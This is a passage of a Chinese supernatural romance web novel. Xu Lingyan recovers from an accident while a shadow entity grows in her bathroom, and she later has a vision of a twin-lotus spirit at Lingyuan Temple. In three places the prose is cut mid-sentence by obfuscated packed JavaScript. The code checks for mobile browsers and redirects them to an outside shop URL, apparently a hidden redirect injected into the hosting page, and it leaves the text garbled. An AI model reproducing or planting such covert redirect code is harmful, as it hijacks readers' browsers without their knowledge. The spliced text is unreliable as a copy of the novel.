许菱烟接过杯子,往嘴里包了一口水,咕嘟几下吐到土坑里。 余光无法避免的瞥见那堆污秽,胃部差点又应激的翻上来点什么,她急忙别过脸,后退几步,远离那地方。 叶婉筱吓坏了,非要带她去医院。 许菱烟气虚:“酒喝多了,又没顾上吃正餐,反胃很正常。我没事。” “怎么可能没事。” 叶婉筱慌死了,“你周边的人都受伤了,就你完好无损,细想完全不可能啊。别是着急忙慌地撞到脑袋了,自己又没察觉...也怪我粗心大意,没往这方面考虑...这样,先在手机上挂个急诊号,免得现场排队耽误事儿,到地方,直接送你进检查室。” 没等点开小程序,一只冰到不似正常人体温的手轻轻抚上来,制止她的动作。 “真的没事,别担心。”许菱烟一开口,嗓音沙哑,尾音失真。 黑色星光在她眼前频闪,整个人仿佛刚从水里捞上来一样湿淋淋的,手脚发软,挪着虚浮的步伐坐去路边的长椅上,闭眼调整呼吸频率。 叶婉筱叹气,走近搡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094229|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她一下,坚持:“去医院看看吧。” 许菱烟掀起眼皮,眼中薄薄的倦意遮掩住其它繁杂的情绪。她深呼吸,耐下心,听叶婉筱劝说。 “我当然希望不是脑袋受伤,但酒喝多了伤胃,照样难受。再说了,家里只有一个卢桃,她自己都是个需要别人照顾的小姑娘,万一你半夜身体又难受,她怎么应付得了,最后还不是得给我打电话求助。” 叶婉筱言之有理。 许菱烟没再执拗,先返回店里结账,带好个人物品,由叶婉筱驱车前往医院。 事实证明,叶婉筱在线上挂号的决定非常正确。 急诊室忙得人仰马翻,而许菱烟只用不到二十分钟就做完检查并拿到了报告,结果显示她酒喝得太多太猛,把胃伤了。 除此之外,没别的毛病。 叶婉筱悬着的心总算放回肚子里,叮嘱许菱烟先回车上休息,她单独去缴费取药。 “我包里有解酒的药片,胃药家里也有,”许菱烟拦了下,“都不用买新的。” 叶婉筱点头,收起检查单,又问:“我怎么不知道你有随身带解酒药的习惯?” “中午搭车的时候,祁全给的。” “...哦。” 许菱烟麻烦护士帮忙接了一杯温水,吞掉药片,把今晚看诊和检查的费用转给叶婉筱,趁她不高兴开始仔细掰扯之前,转移话题:“他在哪栋住院楼?” “出门右转第一栋就是。” 叶婉筱问:“过去看看吗?” 许菱烟点点头。 已经过了探视时间,值班护士拦住她们,低声劝告明天再来。 意料之中,两人没有纠缠耽误护士的工作,转身从相反的方向乘坐电梯离开。 途径病房时,默契的在走廊里停留了一小会。 房门上有块玻璃窗,里头的情况一览无余。 今晚由祁全的亲兄弟陪护。纵然医生说祁全已经脱离危险,他仍迟迟放不下心,搬来马扎守在床边,仰头注视点滴,满面愁容。 拉了一小截的帘子堪堪遮住祁全上半身,许菱烟无从得知他的状态,只看得见露在被子外面的手臂,一圈又一圈裹着厚重的纱布,分层的地方洇出不太明显的血色。 盯久了,那抹橙红色逐渐晕开,仿佛一滩水渍慢慢渗出纱布,汇集成一条溪流沿着床边、砖缝涌向她的脚边。 眨眼间,水流不停收缩,再一错目,一切恢复如常。 许菱烟揉了揉眼,猜测因为自己的身体不舒服,导致眼睛花了,但此刻心乱如麻,思绪像一根即将崩断的麻绳,摇摇欲坠,眼皮更是跳得厉害。 她待不下去了,拽着叶婉筱逃也似地离开。 进了电梯,门一关,四下没人的时候,叶婉筱出声安抚:“医院近期管得严,病房里只允许留一个人陪护,改天等祁全调去私人病房,咱们再来探望。” 许菱烟咬唇,心神不宁,“他身体...” “没事。” 叶婉筱一口咬定:“医生说了,只要祁全乖乖配合后续的治疗,康复之后绝对不影响工作。” 许菱烟嗯声,眼皮沉沉地垂落。 入夜之后的住院楼静得发怵,仪器滴滴声于耳畔徘徊,催命似的,令人惊惧。 许菱烟不敢回头,冥冥之中,总感觉有什么东西尾随她一路了还不舍得走,偏她又讲不出个所以然,只能强压在心头一个人胆颤。 叶婉筱掀开门口挡风的棉布帘子,示意许菱烟先出去。 迎面而来的狂风撩动长发,掩盖愈发惨白的面色,她盯着空无一物的黑夜,始终感觉不安。 上车之后,许菱烟偏头看向车窗外,一言不发,安静到叶婉筱误以为她睡着了,等红灯亮起,车辆暂停的时候,她关掉古典音乐。 周遭刚一安静,许菱烟冷不丁出声:“抽个空,陪我去一趟寺庙吧。” 叶婉筱反射般应允:“行啊。” 随后才想起问:“怎么突然想去寺庙了?” “不是突然,就,一直想去拜拜神仙。” 许菱烟畏冷似地蜷缩起肩膀,耷拉着眼皮不再看向漆黑的公路,有气无力道:“你送我保平安的珠子不小心弄坏了,我再去求一串。” 哦。这么一回事。 叶婉筱笑说:“难怪你今天没受伤,原来是有神仙保佑。” 只是这话落入许菱烟耳朵里,震慑力堪比童年听说的鬼故事。 她控制不住地抖了抖肩膀,勒令自己不许多想,然后使劲摁下车载音响开关,放了一首劲爆的DJ舞曲,驱散车外静到令人骨头发麻的凄然。 - 对于循规蹈矩上班的人而言,时间全凭公司安排,抽空真的就只是小概率事件。 所以,叶婉筱答应归答应,却扛不住公司老是派她到临省督办项目,一走短则半个月,期间忙得脚不沾地,连给许菱烟发消息闲聊天的功夫也没有。 去寺庙的计划只得暂时搁置。 那天经历了一遭诡谲怪事之后,许菱烟心事重重的,晚上再难睡踏实,平时一个人待在家里听见一丁点儿响动就恐惧不已,活像惊弓之鸟。 就这样心事重重地熬了几天,身体终于扛不住,病倒了。 12. 缘分 这场病来势汹汹,吃药、打针统统没用,许菱烟吃什么吐什么,蔫不拉几地待在房间里,日渐消瘦。 卢桃课程繁忙,专业老师出勤率查的又严,没办法天天赶过来照顾许菱烟,便私自做主,将她生病的事告诉了许爸许妈。 夫妻俩闻讯,拎着大包小包赶来和她同住。 搁以前,许菱烟肯定不乐意。 她从小就有主见,不怎么依赖父母,也不爱麻烦他人,成年后更是追求独立,哪怕同住在一个城市,为了工作,她也非得搬出去住。家人充分尊重她的决定,只要遇不上火烧眉毛的天大急事,他们不会轻易露面干扰她的生活。 但这回许菱烟的态度截然相反,一见爸妈就瘪嘴要哭,眼眶红的像只小兔子,模样委屈巴巴,格外惹人怜惜。 二老被吓一跳,围着她问东问西。 许菱烟泪珠子啪嗒啪嗒掉,却一个劲儿摇头,说工作上没遇见麻烦,生活中也没人给她找气受,纯粹是太想家了。 二老全当病中的人自然而然会变得娇气,无奈道:“想家就回家呗,距离又不远,打个车,十几分钟就到了。” 许菱烟张开胳膊,一边搂一人,细弱抽噎着,娇气地说好。 瞧她比过中秋节回家的时候更瘦了,生一场病,人也更憔悴了,许爸心疼极了,亲自下厨做了一桌她爱吃的饭菜。晚上许菱烟撒娇卖乖,如愿搂着许妈久违地睡了个踏实觉,惴惴的心脏也终于得到片刻安宁。 家里因为二老的到来平添许多烟火气,和亲近的人待在一起,许菱烟肉眼可见的放松了精神,萦绕在心头的恐惧也随之消散,再回忆起来,只在心底自嘲说被那天的突发状况吓傻了,竟然开始相信鬼神那一套,难不成,非得受伤躺在医院里才叫正常? 许菱烟把自己开解好了,精气神逐渐恢复,身体也有劲儿了。 待病愈之后,许菱烟飞速调整好状态,投入到新工作中,一边帮着律师朋友筹备结婚纪念日的惊喜,一边研究该给朋友们送什么样儿的新年礼,好不容易闲下来,还要为被琐碎事情耽误,没办法及时赶回来和她见面的沈渠神伤,因此,彻底忘记和叶婉筱约定去寺庙的事。 入睡前,许菱烟照例美滋滋地泡澡。 叶婉筱便在此时打电话来,问她后天有没有空。 许菱烟早就打消了拜神佛的念头,却不好意思放叶婉筱的鸽子,遂应声:“有的。” “那天早上八点,我开车来接你。” “还是去东云寺?” “不。” 叶婉筱报了一个地名,许菱烟听着很陌生,但又有那么一丢丢耳熟,打开地图app查询,开车竟然近一天才能到。 她不解:“用得着去这么远?” “送你的珠子是在灵源寺求的,别的地方不一定有它灵验。正巧客户有要求,顺路,可以稍带着你。”叶婉筱打了个长长的哈欠,钻进被窝,阖上眼,放任睡意侵袭,“还是上一次那个合作方。人家虔诚的很,因为项目非常成功,提议再过去一趟,还愿。” 许菱烟唏嘘:果不其然,赚大钱的人多少有点儿迷信。 叶婉筱在外奔波太久,累得骨头缝发酸,酒店的床柔软归柔软,可随时变动的环境总让她没有归属感,睡觉也不踏实,现在终于躺进日思夜想的温馨被窝里,没等聊两句,她就睡熟了。 听筒那头传来舒缓的呼吸声,许菱烟主动切断通话,把手机放去帘子外干燥的台子上,顺便瞟了一眼门口的椅子,空空如也。 发现又忘记拿换洗衣服,她懊恼地拍了下脑门儿,随即想起家里有妈妈在,等下可以喊她帮忙,于是心安理得地躺回浴缸继续享受。 水面分布着一层绵密的泡沫,平静无波。 许菱烟放松身体慢慢下沉,直至温度适宜的水没过肩膀,惬意地抒口气,合眼享受。 因而没注意到,墙壁上氤氲的水汽正以反重力和极快的速度向天花板聚拢,沿途蜿蜒的痕迹像极了血管经脉,又像盘根错节的树根,根本找不出规律。 操纵一切的东西似乎也发现了这一点,于是凑近吹了口气,水珠立即散开,顺着墙壁滑滑下,半途中又被无形的力量拽往别的方向。 水流不断交汇,轨迹歪歪扭扭,竟然构成某个字的轮廓,模模糊糊分辨得出是倒写的双喜。 不过,很快便被朦胧的雾气覆盖。 定的闹钟响个没完,许菱烟不情不愿地伸了个懒腰,关掉声音,哗得一下站起身。 凌乱的长发挡住了她的视线,所以异状没被察觉——溅起的水花并没有沿着倾斜设计的地面滚入排水口,反而蔓延成一小股溪流,沿帘子边沿向上攀爬,仿佛有人试图用力掀开一角,以便窥伺。 许菱烟用毛巾包起头发,趿上拖鞋,踩着防滑垫往外走。 帘子被拉开,附着在边沿的那股溪流被分割成大小不一的水珠飞溅到墙壁上,仿佛拥有自主意识般,迅速往天花板靠拢,接连汇入字体的笔画中,与落笔人的情绪起伏共振。 本来无法被人看见的存在,因为蒙着潮湿水汽,竟隐约透露出模糊的轮廓。尤其那双与人无异的、黑黢黢的眼睛,就贴在天花板上,全神贯注地观察着她。 而许菱烟毫无察觉。 “妈妈——” 她叫了一声,用指甲挖出一坨面霜,哼着歌儿,对镜细致地涂抹。 等了会儿,没等到回应,又一次拔高嗓门喊:“妈!帮我拿一下睡衣,放在床头柜上了!” “……” “妈。” “妈妈。” “亲爱的妈咪。” “尊敬的母亲大人。” “……” 连喊了几声都没下文,许菱烟奇怪地嘀咕一句怎么回事,准备直接裹着浴巾溜回卧室算了。可一转头,紧挨着浴室门的椅子,原本空空如也,现在却放着那套睡衣。 不但折叠整齐,还熏过香,散发着幽幽依兰花的气味儿。 许菱烟心跳蓦地停滞一拍。 寒意沿着尾椎骨缓慢向上攀爬,好不容易忘却的诡异感再一次侵袭,许菱烟惶恐不安,攥紧浴巾胸-前的结扣,拔高嗓音,一声接着一声的向外喊:“爸——妈——!!” “大晚上的,你嚎什么,不怕扰民呐。” 一道暗色从头顶闪过,速度快到肉眼无法捕捉,最后只留具象的人影投射在玻璃上。 来人确实是许妈,训斥完又恢复往昔的温柔,“叫我干什么?” “睡衣...” 许菱烟砸吧一下干燥的唇舌,声音发哑,小心翼翼地试探:“睡衣是你拿进来的?” “除了我,还能有谁。” 许妈嘲笑她:“咱家就你一个小迷糊,每回洗澡都不记得拿换洗衣服。” 闻言,许菱烟如获大赦一样松了口气,席卷全身的惊恐被现实的安稳击退。她牟足劲儿,扶着台子勉强站直,抽了一张面巾纸擦掉镜子上的水汽,看清一张煞白的脸,表情惊惧交加。 回忆起自己犹如撞邪般的反应,许菱烟荒唐地呵声,捂着眼平复情绪。 门外,许妈吩咐她收拾一下赶快出来,泡太久身体会不舒服。 许菱烟拍了拍脸颊,默念几遍振作,摒弃脑袋里那些乱七八糟的想法,拆掉毛巾,打开吹风机烘干头发,然后换上薄绒睡衣,预约好除湿器的工作时间,关灯离开浴室。 随着门关严,光线由细长的一条逐渐收窄,直到彻底恢复漆黑。 浴室内响起水滴声,先是不疾不徐地滴答,随后慢慢加快,止也止不住,像极了水龙头发生故障。 可阀门明明拧紧了,声音又是从哪儿传来的—— 被设定程序的除湿器没有运行,自动陷入休眠状态,屏幕闪烁几下,彻底归于黯淡。转瞬即逝的光照亮门边的衣篓,里头丢着许菱烟换下的浴巾,柔软布料的中央逐渐晕开一圈深色水渍。 不知道什么时候,天花板上分布的水珠发生了奇异的变化,密密麻麻、大小相同,且每一颗之间的距离相等,好似古时候排兵布阵的壮观场面。 待到某人发号施令,其中一颗水珠缓缓拉长、下垂,精准无误地落入布料中央,将那块水渍浸的更深。 紧随其后,从衣篓里挣扎着探出一只与人一模一样、五指分明的手,没有肌肤,黑雾缭绕,刚碰到一侧的墙壁就轻飘飘地散开了。 见状,正上方的水珠纷纷往用一个方向聚拢,先前只有模糊轮廓的黑影开始尝试吸收水雾,往四周扩散,膨胀,颜色越来越深。 不知道哪儿出了差错,它的身体无论如何都拢不成一堆,四周冒着汩汩黑气。只有脸,勉强算有个人样儿,可惜没有生出真实的肌肤,五官也不分明,一双眼黑炯炯的,看起来格外空洞。 比起上回吐字艰难的窘迫,它现在已经学会了思考,分得清事态的轻重缓急,所以不再浪费时间执着在此刻塑造出一具完整的肉身。 反正,来日方长。 待状况稳定之后,它顺着墙壁飘落下地,小心伸出一条细枝触碰那件浴巾,发觉雾气消散的没有之前快了,顿时萌发出前所未有的快活。 黑森森的眼眶中有两点不分明的、颜色更浓郁的圆形,算作它的瞳仁,现下正因为雀跃疯狂乱窜。 它的进步堪称飞速。 从最初不敢见光,只能惨兮兮的躲在暗处窥伺她,逐渐变成会说几句人话,自由自在的在她身边穿梭。不再局限影子或雾气的形态,能够在现实中碰得到她,以及她的东西,也能在她身上留下它的气息做标记。 身体从无法聚拢,再到消散速度变得越来越慢,存在感越来越强。 就在刚刚,它居然努力挤出了一部分人的样子。 照这个速度发展下去,用不了多久,它就能找回自己原本的样子,不用寄居在别人的躯壳里苟且偷生,和她迎来真正意义上的重逢。 仅仅这样一想,它便控制不住的亢奋起来,低头埋在浴巾上贪婪又疯癫地嗅着残留的清香,从身体内部探出数不清的枝条,相继摸上浴室的门板。 夜半三更,一家三口都睡熟了,卧室门也都关着。 无人察觉浴室内渐渐清晰的、缓慢且有规律的动静—— 滋啦。 滋啦。 滋啦。 像有人用指甲不屈不挠地剐蹭门板内壁。 几秒之后,声音停止,浴室门向内敞开一条缝,有什么看不真切的东西从中一闪而过。 是它... 溜出去了。 浓郁夜色成为最佳掩护,它身形一晃,于无边无际的黑暗中蔓延。 从此,无处不在。 - 灵源寺在当地非常有名气,求财,求平安,尤其求姻缘相当灵验,渐渐有许多外地香客慕名而来。 难得的是,政-府并没有借机把这座千年古寺发展成商业化景点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094230|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。为了方便香客,于去年专门修了一条直通山顶的阶梯路,还制定了用以保护的专项条规,所以这儿的环境一如往昔,幽静、清新、安宁。 许菱烟坐了近一天的车,腰酸背痛,迫不及待地钻出车门伸懒腰,大口大口吸入新鲜空气,等倦怠的身子骨重新活络起来,她绕去副驾驶,帮叶婉筱收拾东西。 日头西斜,天空像铺开的纸张,晕开橙红水色。时间不早了,等忙完所有事情肯定来不及下山,所幸寺里有专门留给香客暂住的房间,他们一致决定在这儿住一晚,明天再启程返回。 阶梯路又陡又长,徒步需要足够的体力,必须得舍弃一些没必要的物品,轻装上阵。 许菱烟将零食一样一样儿地放去后排,同叶婉筱聊起灵源寺的由来。 “你在车上嚷着无聊的时候没搜一搜资料?” “没,”她坦诚,“净顾着看电影了。” “……” 相传,灵源寺诞生在一千四百多年以前,具体哪个朝代记不清了,只记得里头有个生僻字,读起来格外拗口。彼时佛教盛行,寺内香火不断,皇帝知道后下旨扩建,规模庞大到占据整座山头。 时过境迁,受人为或自然因素的影响,灵源寺内有一部分建筑损坏严重,没办法进行修复,万幸还保留有大致的样子,专家考察之后认为很有历史价值,决定围起来好好保护。 所以,栅栏以内被锁住的地方,才能呈现出灵源寺最初的风貌。 如今用来供奉佛像,接纳香客的殿宇经历多次修缮之后,已经变得现代化了。 除此之外,更多的知识点,叶婉筱就不清楚了。 她如实说:“待会儿上山的途中,你可以留意一下道路两边的石碑,上面肯定有记载。” 许菱烟敷衍地应了一声,转头向后瞧。 相隔不远的大树下,停着一辆山地越野车。 后备厢挡住视线,但从缝隙里依稀可以窥见青年人帅气的面庞。 许菱烟敏锐地嗅到一丝不寻常的气息,胳膊肘拐了一下叶婉筱,压着嗓门八卦:“什么情况?你不是说客户年过古稀了吗?” 叶婉筱动作一顿,表情无可奈何,“这是他儿子。” “哦,”许菱烟又问,“之前也是他替他爸来拜佛?” “不是。” “今天是你们第一次见?” “不是。” “已经见过很多次了?” “...我们两个负责跟进项目的收尾事宜,想不见都不行。” “哦~原来如此~” 叶婉筱掀起眼皮,直直盯住她,“你到底想问什么。” 许菱烟一点儿不怕,坐回车里,仰面靠着座椅,怡然自得。 “我看他对你殷勤得很。你明明之前来过,对路况已经很熟悉了,可他仍然坚持要开在前头探路。他还格外关心你,时间点儿掐得很准,一到服务站就停,方便你下车透口气,还给你...不对,给我们,买吃的、喝的……不知情的人见了,恐怕以为你才是那个被服务的对象。” “你不是不知情的人,所以,不许瞎想。” 叶婉筱紧了紧背包的系带,确认无误,命令许菱烟赶紧下车。 一转头对上青年人,态度一百八十度大转变,眼神温柔到恨不得掐出一滩水,笑容虽然充满营业的滋味,但弧度恰如其分,挑不出半分错。 或许因为关系太熟了,许菱烟一见叶婉筱投入工作的正经模样就控制不住乐,万幸她掩饰的很好,别人只会认为她是个长相漂亮,性格又开朗的女人,并不觉得被冒犯。 青年知道她是叶婉筱的朋友,主动过来社交,多少也带着一点讨巧的意味。 许菱烟看穿他的目的,暗戳戳地抛给叶婉筱一个眼神,意味深长。 后者不买账,别过脸去,耳根却泛起暧昧的薄红。 见状,许菱烟很不客气地接受了青年人帮忙拎包的请求,顺势接着聊:“小贺总名字里的xiāo,具体是哪一个字?” 说着,她在备忘录里打出‘霄’,递给他瞧。 贺骁摇摇头,“马尧骁。” “骁勇闻于天下知1。好名字。” 许菱烟觑了一眼闷不吭声独自走在前头的人,微挑眉,口吻端方中隐约透出几分调侃,“那你们蛮有缘分的,最后一个字音都相同。” 贺骁一瞬的怔愣之后,若有所思地看向她。 许菱烟却没接下他投来的视线,偏头观察一旁破损的石碑,然后举起相机连拍几张。 “听说这里风俗文化保存的相对完整,我很感兴趣,想多拍一些照片或者驻足赏赏风景,走走停停的,速度很慢,小贺总不用特地等我。反正山路就一条,沿着走上去,最后肯定能汇合。” 她笑了笑:“就是得麻烦您帮忙拎一下包了。” “...没关系。” 贺骁明白,许菱烟以叶婉筱好友的身份接受了自己的阿谀,愿意退让一步,给他和叶婉筱留出单独相处的空间。 她长得漂亮,万里挑一的那种,笑容纯良无害,表现得像个养尊处优、不谙世事的富家千金,没成想,看人的眼光竟然如此毒辣,让他有一种小心思被摊开展示的错觉。 贺骁难为情地蹭了下鼻尖,不太熟练地表达谢意,“那...我去追婉筱了...你一个人,千万注意安全。有事及时联系。待会儿,寺门口见。” “好。” 13. 并蒂莲 为了跟他们拉开足够远的距离,许菱烟特地放慢步伐,悠闲散漫的观赏景色。 石碑被山间变幻莫测的天气侵蚀,字迹斑驳,但从只言片语中也不难分辨,上面记载着的是山间植物的种类以及科普知识,跟灵源寺没关系。 许菱烟小小失望了一下,关掉相机,埋头快走了几步。 再一抬眼,路旁突兀的石碑吸引了她的注意。 许菱烟谨慎地踩住松软泥土,用力蹬上土堆,凑近观察。 这座石碑的外观、体积明显区别于其它,历经岁月冲刷,已然变成青石灰色,四周雕刻精美的鸳鸯纹,缝隙中残留着一丝丝金色,不难想象出最初的样子该有多么华贵。 上面记载的内容仍和植物相关,却是这一路走来保存最完善的。 许菱烟飞速浏览完开头一段文字,双眼蓦地放大,赶紧抬起头,自下而上端详面前这棵苍劲的槐树,惊讶它居然和灵源寺在同一时期诞生。 时移俗易,古寺原始风貌不再,只有槐树仍屹立不倒。 它投下虬曲的影,挂在树干上的木牌字迹已被苔藓啃食得模糊,许菱烟靠近残基时,恰有钟声从久远的朝代传来,穿越一千四百多个秋日的绵绵细雨,飘落在她二十多岁的发尾。 鼻尖触及一抹凉意,她惊觉下雨了,没来得及看后续的内容,举起包挡雨,视线定定地落在树后。 不远处有座面积不大、外观简朴的中式院子,木门虚掩,被微风吹动,松垮的门栓和锁相互碰撞,发出叮叮咚咚的声响。 许菱烟环视一圈,没瞧见任何围栏以及“香客禁入”的告示牌,且旁边有一条被踏平的土路直直通往门前,看起来就是给人临时歇脚用的地方。 她没多想,扯开外套前襟,严严实实地裹住相机,小跑过去。 这场突然降临的雨水不似雨水,像极了蒸馏锅里的细密水珠,掀开盖子之后,升腾的缥缈雾气弥漫整座山头,渐渐的,连天空原本的颜色也模糊不清了。 繁茂的叶子并没有被雨水冲刷干净,反而灰蒙蒙一片,映照着乌绿的诡异色彩。 树木横斜的枝丫颤抖着向前延伸,互相交错、缠绕,天罗地网一样将院子遮蔽住。 顷刻间,暗不见天日。 许菱烟急匆匆地奔过去躲雨的时候,完全没想到回头再看一眼。 如果她没被这场雨扰乱阵脚,肯认真观察,冷静思考,便一定会发现端倪。 比如阶梯路凭空消失。 泥泞水坑里不止有她慌乱、毫无规律的一双脚印,还有别的什么东西始终跟着她,寸步不离。 再比如,这间院子。 郊外密林里极容易滋生凶险,不会有人蠢到在远离烟火气的地方盖屋还不锁门,管理不严就将变成歹徒的栖息地,相比之下,更常见的应该是紧靠路边的石凳、石椅,或者一座凉亭,安全,便捷。 就连挂在院门上的锁,也不是现代人用的那一款。 木门历经风吹雨打,被侵蚀的厉害,对联和福字褪色破损,加了黑白滤镜一样。 乍看起来,是很久远的建筑物了。 伴随着沉闷刺耳的响声,门被推开更大的一条缝隙,许菱烟闪身进去。 如果说她糊涂,这会儿反倒谨慎的很,还没忘往四周张望,确认没有“香客禁入”的牌子,才放心大胆的继续往前走。 院内没什么多余陈设,只有墙边放着大水缸,干涸的缸底蜷缩着一株早就枯死的并蒂莲。郁郁葱葱的山林间,不知道打哪儿吹来了一堆枯黄叶子,竟厚厚的铺满一地。 墙体斑驳,石砖缝隙长满青苔,野草已有成年男性等身高。 房檐上遍布蛛网,干瘪的蜘蛛尸体悬挂于细长的蛛丝尾端,随风轻轻晃荡…… 这些称得上异常的景象,统统被许菱烟举起的挎包以及打湿的发丝遮去,没来得及落入她眼底便迅速发生变化。 杂草突兀的矮了一截,灰尘和蛛网凭空消失。 并蒂莲晃了晃枝叶,伸长根茎悄然直立。 周边的气流也随之涌动,幻化成肉眼可见的水,托举它到缸口呼吸新鲜空气。 雨水噼里啪啦地打在水面上,泛开一圈又一圈涟漪。 落满灰尘,远离俗世的小院,瞬间被冲刷的一干二净。 许菱烟抬起头,看见乌棕调的牌匾,明黄的底色,写着硕大的一行:度一切苦厄。 她浑身不自禁地抖了抖,某些画面于眼前闪过,快到来不及捕捉,令她不明觉厉。 出于对这地方的尊重,许菱烟掏出随身携带的手帕纸,擦掉脸颊、外衣上的水珠才进去。 不同与外在的简陋,房间内部的空间很大,装潢精致复古,完全可以当成起居室用,可绝大部分地方都空着,只在窗旁摆了一张美人椅和漆几。 漆几上空空如也,椅子上则放着整齐折叠的薄毯,用塑料密封袋子包装好,应该是特地给香客们准备的。 以免潲雨,许菱烟将窗户关严,外头的光线照不进来,房间内顿时变得阴暗潮湿,寒冷刺骨。 来的路上风越吹越急,许菱烟不可避免地淋了雨,身上的热乎气渐消,穿得再多再厚实也不管用,冻得她原地跺脚。 等双眼适应了昏暗,她绕着屋打了个转儿,没找到光源以及开关,也没找到领取毛毯的二维码。 实在冷得受不了,她干脆先拆开毛毯用着,打算待会儿雨停了,再去寺里找接待处的人讲明情况,把钱补上。 手机电量告急,信号又不好,打不了电话,许菱烟只好给叶婉筱发了一条不知道什么时候才能发送成功的定位,调整至省电模式。 不过,万幸她有先见之明,穿了一件防水外衣,相机被紧紧裹在怀里,保护的很好,检查无误之后,跟挎包一起放去漆几上。 搓了搓泛凉的手掌,许菱烟一双眼仔细打量四周的墙壁。 刚才绕圈的时候,她就发现这儿的壁画很不一般,笔触细腻,色彩鲜明,场景逼真,人物活灵活现,凑近还能嗅到一股淡淡的颜料味道,猜测是绘完没多久。 房屋陈旧简朴,泛着似有若无的腐朽气息,似乎只有壁画是鲜活的。 许菱烟打小就学绘画,从中国画到西方油画都有涉猎,现在看见这场景也算兴致对口了。 她凑近观察发现,以门为起点,从左至右看过去,内容竟然能连接完整,讲得是个鲜为人知的神话传说,个别地方的底部还有小字注释或人物对话,让故事显得更生动有灵魂。 她的好奇心成功被勾起,急切地退回门边,趴得更近,重新端详。 因为看得入神,许菱烟完全没察觉屋内的湿冷气加重,壁画像被泡发一般,于不同的位置鼓起大小不一、形状不规则的水包,最终从墙壁上完整剥离,单薄如书页般抖擞起来。 仿佛受到某种召唤,它们自发从四面八方的靠拢,形成一个不透风的牢笼。 许菱烟被困其中,却没有任何惊惧的反应,眼神直直地盯着画,着魔似的,手指不听使唤的缓慢抬起,虚空停在墙壁前方,突然触及一点湿漉—— 画中的溪水,竟真的开始流动了。 先是卷着细小的浪花扑上岸边,一块巨大的青石被冲刷的锃亮,紧接着,溪水被风吹动出更大的浪潮,朱砂绘制的莲花招架不住这样大的力道,止不住地颤栗,花瓣随之簌簌凋落。一尾墨线游鱼跃出水面,摆了摆尾巴,又猛地一头栽回去,溅起的水珠扑在她脸上。 她被激得浑身一颤,隐约感觉有什么又从自己身上掉下去了,低头一瞧,脚边落了一圈儿红中带粉的莲花瓣,整个人顿时焦灼地晃起来,很想伸出枝条将花瓣拢一拢安回原处,可惜道行太浅,怎么都不得其法。 耳边忽然传来一声低沉含混的嗓音,像有人隔着水面讲话,音节粘黏了潮湿的苔藓气:“莫急,花瓣掉就掉了,来年还会再长新的。” 许菱烟一怔,发觉有人悄然出现,轻而易举替她挡去所有风浪。 顷刻间,她枝干内聚拢出一颗温热的东西,极不安分地躁动着,咚咚作响。 溪上不知道是谁撑筏经过,远远瞧见这一幕,抚掌大笑道:“你呀你,可不得了了。这株并蒂莲得了菩萨指点,就快化形了,眼下五感皆通,正值杂念疯长的关键时候,小心她记住你,往后非要追着你还这份恩情。一个弄不好,酿成因果,看你怎么办。” “不会。”他无比笃定。 人分明就在眼前,声音却像从非常遥远的地方传来。 空灵,模糊,不真实。 许菱烟努力抬头想看一看他的模样,忽然一阵浓雾蒙住视野,只余下一角浮动的墨色衣摆,除此之外什么都瞧不真切,她只能竖起耳朵认真听,试图记下他的嗓音。 可他没再开口,兀自静立,任由风浪打湿衣衫。 许菱烟眨巴眨巴眼,鱼儿溅起的水花好像不止扑在她脸上,更多地扑入她眼眶里,多到承接不住,慢慢滑落。 她抖了抖枝叶,交叠捂住心口,有一股说不清道不明的奇妙情绪从枝干向四周蔓延。 与她并蒂的另外一朵莲花尚未醒来,仅于梦中察觉些许不对,不安地晃了晃脑袋,花瓣稀稀拉拉地飘飞,眼瞅就要轻盈地洒在他衣摆上。 许菱烟一急,用力拖拽着枝条,猛然上前一跃—— 霎时间,分出叉的、绿油油的枝条幻化成花白手臂,笔直枝干成为玲珑有致、前凸后翘的躯体,赤-条条摔去石头上,发出一声沉闷的响。 如墨般铺开的长发自地面垂入溪水中,打湿后黏在肩膀、后背、手臂处,衬得皮肤更饱满、白皙。 润嫩又无暇的一个女子,猝不及防诞生于天地之间。 她只化了形,还没开窍,因而不懂得什么叫疼,自然不知道规避危险,受伤了也不理睬。 鲜红血流从擦破的伤口溢出,沿着石面凹凸不平的沟壑向低处流,一点点舔舐他的衣料。情急之下向前伸出的双手稳稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她一声不吭,内心莫名涌起依赖和信任感,安生地伏在他怀里。 一双乌黑大眼提溜转,从臂弯缝隙望出去,发现周遭一片雾茫茫,分辨不清方向。 无尽的玄虚中,只有他最真实。 她的注意力便又落在他身上,想再看一次他的脸。可恩人头扬得高,根本不给她这个机会。她只能记住他白皙肤色,凌厉的下颚线条,隐约的清冷气味,温柔嗓音和熨帖怀抱。 溪流哗哗声愈发远,血腥气渐浓,颜料正从墙壁往下淌。 咸池的粉混杂着雀梅的绿,颜料黏浊,逶迤崎岖爬过砖缝。 